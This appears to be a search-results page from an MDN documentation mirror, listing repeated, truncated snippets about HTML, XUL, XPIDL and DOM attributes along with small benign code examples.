attributes | properties | methods | related ] a single row in a listbox. the text of the listitem is specified either using listcell elements, or by placing a label
attribute directly on the listitem element. by default it contains a single listcell element of type and class appropriate to that of the listitem. more information is available in the xul tutorial. ...
... for buttons, the type attribu...
...And 24 more matches
XPIDL
idl syntax (out of date) xpidl author's guide (not as out of date) explanation of idl semantics a full guide to the syntax can be found at xpidl:syntax, which is written in an abnf form. an xpidl file is essentially just a series of declarations. at the top level, we can define typedefs, native types, or interfaces. interfaces may furthermore contain typedefs, natives, methods, constants, or
attributes. most declarations can have properties applied to them. types there are three ways to make types: a typedef, a native, or an interface. in addition, there are a few built-in native types. the built-in native types are those listed under the type_spec production above. the following is the correspondence table: table 1: standard idl types idl c++ in parameter c++ out parameter ...
...ts, though parseable, cannot be made into a header or xpt file. constants are emitted in header files using anonymous enums, although there is an outstanding patch that combines adjacent constants into the same anonymous enums to quiet enum mismatch warnings. interfaces specifying interfaces is the primary purpose of using xpidl. interfaces are basically a collection of constants, methods, and
attributes; in mozilla, these are the primary ways in which javascript code can interact with native c++ code. furthermore, interfaces can also inherit from another interface. every interface should inherit nsisupports in some fashion. however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it ...
...t code can interact with native c++ code. furthermore, interfaces can also inherit from another interface. every interface should inherit nsisupports in some fashion. however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code. table 4: basic interface
attributes
attribute interpretation uuid(12345678-fedc-ba98-7654-0123456789ab) this is the internal way this interface is accessed; it must be unique, and the uuid must be generated when creating the interface. after that, it doesn't need to be changed any more. for instructions on how to generate an uuid see generating guids. builtinclass javascript classes are forbi...
...And 24 more matches
<input type="tel"> - HTML: Hypertext Markup Language
eypad optimized for entering phone numbers. using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient. note: browsers that don't support type tel fall back to being a standard text input. value a domstring representing a telephone number, or empty events change and input supported common
attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl
attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value
attribute contains a domstring that either represents a telephone number or is an empty string (""). additiona...
... autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl
attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value
attribute contains a domstring that either represents a telephone number or is an empty string (""). ...
...h, minlength, pattern, placeholder, readonly, and size idl
attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value
attribute contains a domstring that either represents a telephone number or is an empty string (""). ...
...And 24 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to link an external stylesheet, you'd include a <link> element inside your <head> like this: <link href="main.css" rel="stylesheet"> this simple example provides the path to the stylesheet inside an href
attribute, and a rel
attribute with a value of stylesheet. the rel stands for "relationship", and is probably one of the key features of the <link> element — the value denotes how the item being linked to is related to the containing document. as you'll see from our link types reference, there are many different kinds of relationship. there are a number of other common types you'll come across. for exam...
...ship. there are a number of other common types you'll come across. for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes
attribute indicates the icon size, while the type contains the mime type of the resource being linked. these provide useful hints to allow the browser to choose the most appropriate icon available. you can also provide a media type or query inside a media
attribute; this resource will then only be loaded if the media condition is true. for example: <link href="print.css" rel="stylesheet" media="print"> <...
...en and (max-width: 600px)"> some interesting new performance and security features have been added to the <link> element too. take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as
attribute indicating the specific class of content being fetched. the crossorigin
attribute indicates whether the resource should be fetched with a cors request. other usage notes: a <link> element can occur either in the <head> or <body> element, depending on whether it has a link type that is body-ok. for example, the stylesheet link type is body-ok, and therefore <link rel="stylesheet"> is permitted...
...And 24 more matches
button - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a button that can be pressed by the user. event handlers can be used to trap mouse, keyboard and other events. it is typically rendered as a grey outset rectangle. you can specify the label of the button using the label
attribute or by placing content inside the button. more information is available in the xul tutorial. ...
...home [ examples |
attributes | properties | methods | related ] a button that can be pressed by the user. event handlers can be used to trap mouse, keyboard and other events. it is typically rendered as a grey outset rectangle. you can specify the label of the button using the label
attribute or by placing content inside the button. more information is available in the xul tutorial. ...
...ributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label
attribute for the element. autocheck type: boolean if this
attribute is true or left out, the checked state of the button will be switched each time the button is pressed. if this
attribute is false, the checked stat...
...And 23 more matches
menulist - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that can be used for drop-down choice lists. the user may select one of the elements displayed in the menulist. the currently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. the command event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
...p-down choice lists. the user may select one of the elements displayed in the menulist. the currently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. the command event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
...an ...
...And 23 more matches
toolbarbutton - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a button that appears on a toolbar. it is equivalent to a regular button except that it may be rendered differently. typically, it is expected to have an image. more information is available in the xul tutorial. relevant accessbility guidelines all toolbar functionality should be duplicated elsewhere in the application where possible, provide keyboard alternatives. where possible, duplicate functionality in a menu item or context menu. where not possible, make all toolbarbuttons focusable by -moz-user-focus: normal. ...
...utorial. relevant accessbility guidelines all toolbar functionality should be duplicated elsewhere in the application where possible, provide keyboard alternatives. where possible, duplicate functionality in a menu item or context menu. where not possible, make all toolbarbuttons focusable by -moz-user-focus: normal. ...
...menuitem label="menu item 1"/> <menuitem label="menu item 2"/> </menupopup> </toolbarbutton> </toolbar> <toolbar id="radio-toolbar"> <toolbarbutton accesskey="1" label="radio 1" type="radio" group="radiogroup"/> <toolbarbutton accesskey="2" label="radio 2" type="radio" group="radiogroup"/> <toolbarbutton accesskey="3" label="radio 3" type="radio" group="radiogroup"/> </toolbar>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label
attribute for the element. autocheck type: boolean if this
attribute is true or left out, the checked state of the button will be switched each time the button is pressed. if this
attribute is false, the checked state m...
...And 23 more matches
nsIHTMLEditor
editor/idl/nsihtmleditor.idlscriptable please add a summary to this article. ...
... astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring getheadcontentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, out boolean acanoutdent); void getinlineproperty(in nsiatom aproperty, in astring a
attribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); astring getinlinepropertywithattrvalue(in nsiatom aproperty, in astring a
attribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); nsisupportsarray getlinkedobjects(); void getlistitemstate(out boolean amixed, out boolean ali, out boolean adt, out boolean add); ...
...n astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void removealldefaultproperties(); void removeallinlineproperties(); void removedefaultproperty(in nsiatom aproperty, in astring a
attribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring a
attribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void setbackgroundcolor(in astring acolor); ...
...And 23 more matches
<input type="number"> - HTML: Hypertext Markup Language
le is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty. ...
...he interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty. ...
...alue any floating-point number, or empty. events change and input supported common
attributes autocomplete, list, placeholder, readonly idl
attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty. ...
...And 23 more matches
prefwindow - Archive of obsolete content
this element should be used in place of the window tag and should contain one or more prefpane elements. a row of buttons appears across the preference dialog, one for each prefpane. each pane will usually group together a set of related preferences. if there is only one prefpane, the navigation area will be hidden. on platforms where the convention is to apply changes immediately, the preferences are adjusted as soon as the user interface element is changed. on other platforms, the preferences are not applied until the dialog is closed. ...
... the preferences are adjusted as soon as the user interface element is changed. on other platforms, the preferences are not applied until the dialog is closed. you can open a preference window using a window's opendialog method as with other dialogs. you can pass the id of a particular pane as the fourth argument to opendialog to open a specific pane by default. you can also set the lastselected
attribute on the prefwindow tag to the id of the pane to start with. normally, you would not set this
attribute as it will be set automatically such that the default pane is the same as the one showing when the preferences dialog was last closed. more information is available in the preferences system article. important note for xulrunner-based applications: the preferences system - part of the toolkit -...
...ng modal windows on mac os x that are not attached as a sheet to the main window is to use nsiwindowwatcher.openwindow() with a null parentwindow. this does not work with prefwindows, breaking the general behavior of the window and in particular the list of prefpanes. prefer the classical window.opendialog() with the following window features: "chrome,titlebar,toolbar,centerscreen,dialog=yes". ...
...And 22 more matches
Plug-in Basics - Plugins
window; it is drawn in its own drawing target. windowless plug-ins can be opaque or transparent, and can be invoked in html sections. whether a plug-in is windowed or windowless depends on how you define it. the way plug-ins are displayed on the web page is determined by the html element that invokes them. this is up to the content developer or web page author. depending on the element and its
attributes, a plug-in can be visible or hidden, or can appear as part of a page or as a full page in its own window. a web page can display a windowed or windowless plug-in in any html display mode; however, the plug-in must be visible for its window type to be meaningful. for information about the way html determines plug-in display mode, see "using html to display plug-ins." using html to display plug-i...
...s part of a section, appears on its own separate page, or is hidden. this section discusses using html elements and display modes. for information about windowed and windowless operation, see windowed and windowless plug-ins. for a description of each plug-in display mode, and which html element to use to achieve it, go on to plug-in display modes. for details about the html elements and their
attributes, go on to: using the object element for plug-in display using the embed element for plug-in display plug-in display modes whether you are writing an html page to display a plug-in or developing a plug-in for an html author to include in a page, you need to understand how the display mode affects the way plug-ins appear. a plug-in, whether it is windowed or windowless, can have one of the...
...ment and is loaded at the time the document is displayed. the plug-in is visible as a rectangular subpart of the page (unless it is hidden). embedded plug-ins are commonly used for multimedia images relating to text in the page, such as the adobe flash plug-in. when gecko encounters the object or embed element in a document, it attempts to find and display the file represented by the data and src
attributes, respectively. the height and width
attributes of the object element determine the size of the embedded plug-in in the html page. for example, this object element calls a plug-in that displays video: <object data="newave.avi" type="video/avi" width="320" height="200" autostart="true" loop="true"> </object> a hidden plug-in is a type of embedded plug-in that is not drawn on the...
...And 22 more matches
<input type="image"> - HTML: Hypertext Markup Language
ements of type image are used to create graphical submit buttons, i.e. submit buttons that take the form of an image rather than text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value none — the value
attribute should not be specified. events none. supported common
attributes alt, src, width, height, formaction, formenctype, formmethod, formnovalidate, formtarget idl
attributes none. methods none. value <input type="image"> elements do not accept value
attributes. the path to the image to be displayed is specified in the src
attribute. additional ...
... should not be specified. events none. supported common
attributes alt, src, width, height, formaction, formenctype, formmethod, formnovalidate, formtarget idl
attributes none. methods none. value <input type="image"> elements do not accept value
attributes. the path to the image to be displayed is specified in the src
attribute. ...
... events none. supported common
attributes alt, src, width, height, formaction, formenctype, formmethod, formnovalidate, formtarget idl
attributes none. methods none. value <input type="image"> elements do not accept value
attributes. the path to the image to be displayed is specified in the src
attribute. ...
...And 22 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events. in your extension's browser.xul overlay, write code which listens for a custom dom event. here we call the event myextensionevent. var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.get
attribute("
attribute1") + "/" + evt.target.get
attribute("
attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event. the data from the web page (unprivileged code) will be the values of
attribute1 and
attribute2. to trigger the ale...
...// the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event. the data from the web page (unprivileged code) will be the values of
attribute1 and
attribute2. ...
... value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event. the data from the web page (unprivileged code) will be the values of
attribute1 and
attribute2. ...
...And 21 more matches
menuitem - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
... accesskey type: character this should be set to a character that is used as a shor...
...And 21 more matches
tab - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single tab which should be placed inside a tabs element. the user may click a tab to bring the associated page of the tabbox to the front. more information is available in the xul tutorial.
attributes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed)
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters th...
... afterselected type: boolean this is set to true if the tab is immediately after the currently selected tab. ...
...rrently selected tab. this is set automatically set when needed and you shouldn't adjust it manually. this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop
attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right...
...And 21 more matches
Border-image generator - CSS: Cascading Style Sheets
float: left; } #output .css-property .value { width: 65%; padding: 0 2.5%; word-break: break-all; float: left; } javascript content 'use strict'; /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.set
attribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = func...
...; document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx - startx) / obj.sensivity | 0; var value = delta * obj.step + start_value; setvalue(obj.topic, value); }; return slider; }; var inputslider = function(node) { var min = parsefloat(node.get
attribute('data-min')); var max = parsefloat(node.get
attribute('data-max')); var step = parsefloat(node.get
attribute('data-step')); var value = parsefloat(node.get
attribute('data-value')); var topic = node.get
attribute('data-topic'); var unit = node.get
attribute('data-unit'); var name = node.get
attribute('data-info'); var sensivity = node.get
attribute('data-sensivity') | 0; var precision ...
...0 : min; this.max = isnan(max) ? 100 : max; this.precision = precision >= 0 ? precision : 0; this.step = step < 0 || isnan(step) ? 1 : step.tofixed(precision); this.topic = topic; this.node = node; this.unit = unit === null ? '' : unit; this.sensivity = sensivity > 0 ? ...
...And 21 more matches
Box-shadow generator - CSS: Cascading Style Sheets
max : 100; this.step = step === 0 ? 1 : step; this.value = value <= max && value >= min ? value :...
...max : 100; this.step = step === 0 ? 1 : step; this.value = value <= max && value >= min ? value : (min + max) / 2 | 0; this.snap = snap === "t...
...max : 100; this.step = step === 0 ? 1 : step; this.value = value <= max && value >= min ? value : (min + max) / 2 | 0; this.snap = snap === "true" ? true : false; this.topic = topic; thi...
...And 21 more matches
menu - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element, much like a button, that is placed on a menubar. when the user clicks the menu element, the child menupopup of the menu will be displayed. this element is also used to create submenus. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] an element, much like a button, that is placed on a menubar. when the user clicks the menu element, the child menupopup of the menu will be displayed. this element is also used to create submenus. more information is available in the xul tutorial. ...
... accesskey type: character this should be set to a character that is used as a shor...
...And 20 more matches
Client-side form validation - Learn web development
but it is not as customizable as javascript validation. javascript validation is coded using javascript. this validation is completely customizable, but you need to create it all (or use a library). using built-in form validation one of the most significant features of html5 form controls is the ability to validate most user data without relying on javascript. this is done by using validation
attributes on form elements. we've seen many of these earlier in the course, but to recap: required: specifies whether a form field needs to be filled in before the form can be submitted. minlength and maxlength: specifies the minimum and maximum length of textual data (strings) min and max: specifies the minimum and maximum values of numerical input types type: specifies whether the data needs to be...
...f textual data (strings) min and max: specifies the minimum and maximum values of numerical input types type: specifies whether the data needs to be a number, an email address, or some other specific preset type. pattern: specifies a regular expression that defines a pattern the entered data needs to follow. if the data entered in a form field follows all of the rules specified by the above
attributes, it is considered valid. if not, it is considered invalid. when an element is valid, the following things are true: the element matches the :valid css pseudo-class, which lets you apply a specific style to valid elements. if the user tries to send the data, the browser will submit the form, provided there is nothing else stopping it from doing so (e.g., javascript). when an element is inv...
...es to send the data, the browser will block the form and display an error message. note: there are several errors that will prevent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror. built-in form validation examples in this section, we'll test out some of the
attributes that we discussed above. simple start file let's start with a simple example: an input that allows you to choose whether you prefer a banana or a cherry. this example involves a simple text <input> with an associated <label> and a submit <button>. find the source code on github at fruit-start.html and a live example below. <form> <label for="choose">would you prefer a banana or cherry?</lab...
...And 20 more matches
Getting started with HTML - Learn web development
it also explains where these fit into html. you will learn how html elements are structured, how a typical html page is structured, and other important basic language features. along the way, there will be an opportunity to play with html too! prerequisites: basic computer literacy, basic software installed, and basic knowledge of working with files. ...
...low the pattern of an opening tag, content, and a closing tag. some elements consist of a single tag, which is typically used to insert/embed something in the document. for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityripple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements. ...
...content, and a closing tag. some elements consist of a single tag, which is typically used to insert/embed something in the document. for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityripple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements.
attributes elements can also have
attributes. ...
...And 20 more matches
<input type="search"> - HTML: Hypertext Markup Language
ently by the user agent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the value contained in the search field. events change and input supported common
attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl
attributes value methods select(), setrangetext(), setselectionrange(). value the value
attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.value property in javascript. searchterms = mysearch.val...
...selectionrange(). value the value
attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.value property in javascript. searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string (""). ...
... the value
attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.value property in javascript. searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string (""). ...
...And 20 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
ce. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <video> element. ...
...active example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <video> element. in a similar manner to the <img> element, we include a path to the media we want to display inside the src
attribute; we can include other
attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc. the content inside the opening and closing <video></video> tags is shown as a fallback in browsers that don't support the element.
attributes like all other html elements, this element supports the global
attributes. autoplay a ...
...cify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc. the content inside the opening and closing <video></video> tags is shown as a fallback in browsers that don't support the element.
attributes like all other html elements, this element supports the global
attributes. autoplay a boolean
attribute; if specified, the video automatically begins to play back as soon as it can do so without stopping to finish loading the data. note: sites that automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so should be avoided when possible. if you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). how...
...And 20 more matches
listbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used to create a list of items where one or more of the items may be selected. a listbox may contain multiple columns. there are numerous methods which allow the items in the listbox to be retrieved and modified. you may specify the number of rows to display in the list using the rows
attribute. additional rows can be viewed using a scroll bar. a listbox is expected to contain listitem elements. all the rows in the listbox are the same height, which is the height of the tallest item in the list. if you wish to create a list with variable height rows, or with non-text content, you should instead use the richlistbox element. ...
...g the rows
attribute. additional rows can be viewed using a scroll bar. a listbox is expected to contain listitem elements. all the rows in the listbox are the same height, which is the height of the tallest item in the list. if you wish to create a list with variable height rows, or with non-text content, you should instead use the richlistbox element. see list controls for more information. ...
...disabled elements are usually drawn with grayed-...
...And 19 more matches
radio - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that can be turned on and off. radio buttons are almost always listed together in groups. only one radio button within the same radiogroup may be selected at a time. the user can switch which radio button is turned on by selecting it with the mouse or keyboard. other radio buttons in the same group are turned off. a label, specified with the label
attribute may be added beside the radio button. more information is available in the xul tutorial. ...
...st always listed together in groups. only one radio button within the same radiogroup may be selected at a time. the user can switch which radio button is turned on by selecting it with the mouse or keyboard. other radio buttons in the same group are turned off. a label, specified with the label
attribute may be added beside the radio button. more information is available in the xul tutorial. ...
... command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too ...
...And 19 more matches
nsIDOMElement
dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
... dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
... dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
...And 19 more matches
HTMLInputElement - Web APIs
pace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlinputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties properties related to the parent form form read only htmlformelement object: returns a reference to the parent <form> element. formaction string: returns / sets the element's formaction
attribute, containing the uri of a program that processes information submitted by the element. this overrides the action
attribute of the parent form. formenctype string: returns / sets the element's formenctype
attribute, containing the type of content that is used to submit the form to the server. this overrides the enctype
attribute of the parent form. formmethod string: returns...
... that processes information submitted by the element. this overrides the action
attribute of the parent form. formenctype string: returns / sets the element's formenctype
attribute, containing the type of content that is used to submit the form to the server. this overrides the enctype
attribute of the parent form. formmethod string: returns / sets the element's formmethod
attribute, containing the http method that the browser uses to submit the form. this overrides the method
attribute of the parent form. formnovalidate boolean: returns / sets the element's formnovalidate
attribute, indicating that the form is not to be validated when it is submitted. this overrides the novalidate
attribute of the parent form. formtarget string: returns / sets the el...
...tp method that the browser uses to submit the form. this overrides the method
attribute of the parent form. formnovalidate boolean: returns / sets the element's formnovalidate
attribute, indicating that the form is not to be validated when it is submitted. this overrides the novalidate
attribute of the parent form. formtarget string: returns / sets the element's formtarget
attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. this overrides the target
attribute of the parent form. properties that apply to any type of input element that is not hidden name string: returns / sets the element's name
attribute, containing a name that identifies the element when submitting the form. ...
...And 19 more matches
<input type="password"> - HTML: Hypertext Markup Language
rong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. ...
....g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. value a domstring representing a password, or empty events change and input supported common
attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl
attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value
attribute contains a domstring whose value is the current contents of the text editing control being used to enter the password. if the user hasn't entered anything yet, this value is an empty string (""). if the required property is specifi...
...), and setselectionrange() value the value
attribute contains a domstring whose value is the current contents of the text editing control being used to enter the password. if the user hasn't entered anything yet, this value is an empty string (""). if the required property is specified, then the password edit box must contain a value other than an empty string to be valid. if the pattern
attribute is specified, the content of a password control is only considered valid if the value passes validation; see validation for more information. note: the line feed (u+000a) and carriage return (u+000d) characters are not permitted in a password value. ...
...And 19 more matches
<input type="text"> - HTML: Hypertext Markup Language
sic single-line text fields. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the text contained in the text field. events change and input supported common
attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl
attributes list, value methods select(), setrangetext() and setselectionrange(). value the value
attribute is a domstring that contains the current value of the text entered into the text field. you can retrieve this using the value property in javascript. let thete...
...trangetext() and setselectionrange(). value the value
attribute is a domstring that contains the current value of the text entered into the text field. you can retrieve this using the value property in javascript. let thetext = mytextinput.value; if no validation constraints are in place for the input (see validation for more details), the value may be an empty string (""). ...
...nge(). value the value
attribute is a domstring that contains the current value of the text entered into the text field. you can retrieve this using the value property in javascript. let thetext = mytextinput.value; if no validation constraints are in place for the input (see validation for more details), the value may be an empty string (""). ...
...And 19 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
svg 2 is the next major version of the svg standard, which is a complete rework of the svg 1.2 draft. version 2 contains a lot of changes regarding the last stable version svg 1.1. those changes are listed below including their support status within mozilla applications. ...
...
attribute and indexed property for list interfaces implementation status unknown <script> element in content model of all elements implementation status unknown initialize(), appenditem(), replaceitem(), and insertitembefore() on list objects making a copy of any list item being inserted that is already in another list implementation status unknown crossorigin
attribute for <image> and <script> elements not implemented yet (at least for <image>; bug 1240357) rendering model change notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to clip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bar...
...fill() and svggeometryelement.ispointinstroke() methods partially implemented (bug 1239100). the methods ispointinfill() and ispointinstroke() are not implemented yet (bug 1325319). ...
...And 19 more matches
Templates - Archive of obsolete content
ted. you can see in the image that the set of buttons has been created, one for each bookmark. try adding a bookmark in the browser while you have the example window open. you'll notice that the buttons in the example get updated instantly. (you may have to focus the window for it to change.) container and datasources the template itself is placed inside a vertical box. the box has two special
attributes that allow it to be used for templates, which are used to specify where the data comes from. the first
attribute on the box is the datasources
attribute. this is used to declare what rdf datasource will be providing the data to create the elements. in this case, rdf:bookmarks is used. you can probably guess that this means to use the bookmarks datasource. this datasource is provided by mozilla. ...
...ata comes from. the first
attribute on the box is the datasources
attribute. this is used to declare what rdf datasource will be providing the data to create the elements. in this case, rdf:bookmarks is used. you can probably guess that this means to use the bookmarks datasource. this datasource is provided by mozilla. to use your own datasource, specify the url of an rdf file for the datasources
attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the
attribute value. this can be used to display data from multiple sources. ...
...own datasource, specify the url of an rdf file for the datasources
attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the
attribute value. this can be used to display data from multiple sources. the ref
attribute indicates where in the datasource you would like to retrieve data from. in the case of the bookmarks, the value nc:bookmarksroot is used to indicate the root of the bookmarks hierarchy. other values that you can use will depend on the datasource you are using. ...
...And 18 more matches
menuseparator - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] used to create a separator between menu items. typically drawn as a thin line. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] used to create a separator between menu items. typically drawn as a thin line. more information is available in the xul tutorial. ...
... accesskey type: character this should be set to a character that is used as a sh...
...And 18 more matches
panel - Archive of obsolete content
a panel may also be opened via a script using the openpopup method. the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called. ...
...a panel may also be opened via a script using the openpopup method. the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called. ...
...cks outside the panel, presses escape or when the panel's hidepopup method is called. warning: for firefox versions between 3.6 and 4.0, placing an iframe, browser or editor inside a panel is not supported. some features may work, but only on some platforms. for those versions of firefox, it is best to avoid child frames in a panel, if possible. this limitation was resolved as of firefox 4.0. ...
...And 18 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. note: in versions of firefox prior to firefox 3, rich list boxes support only single selection. firefox 3 introduced multiple selection to rich list boxes. ...
...me [ examples |
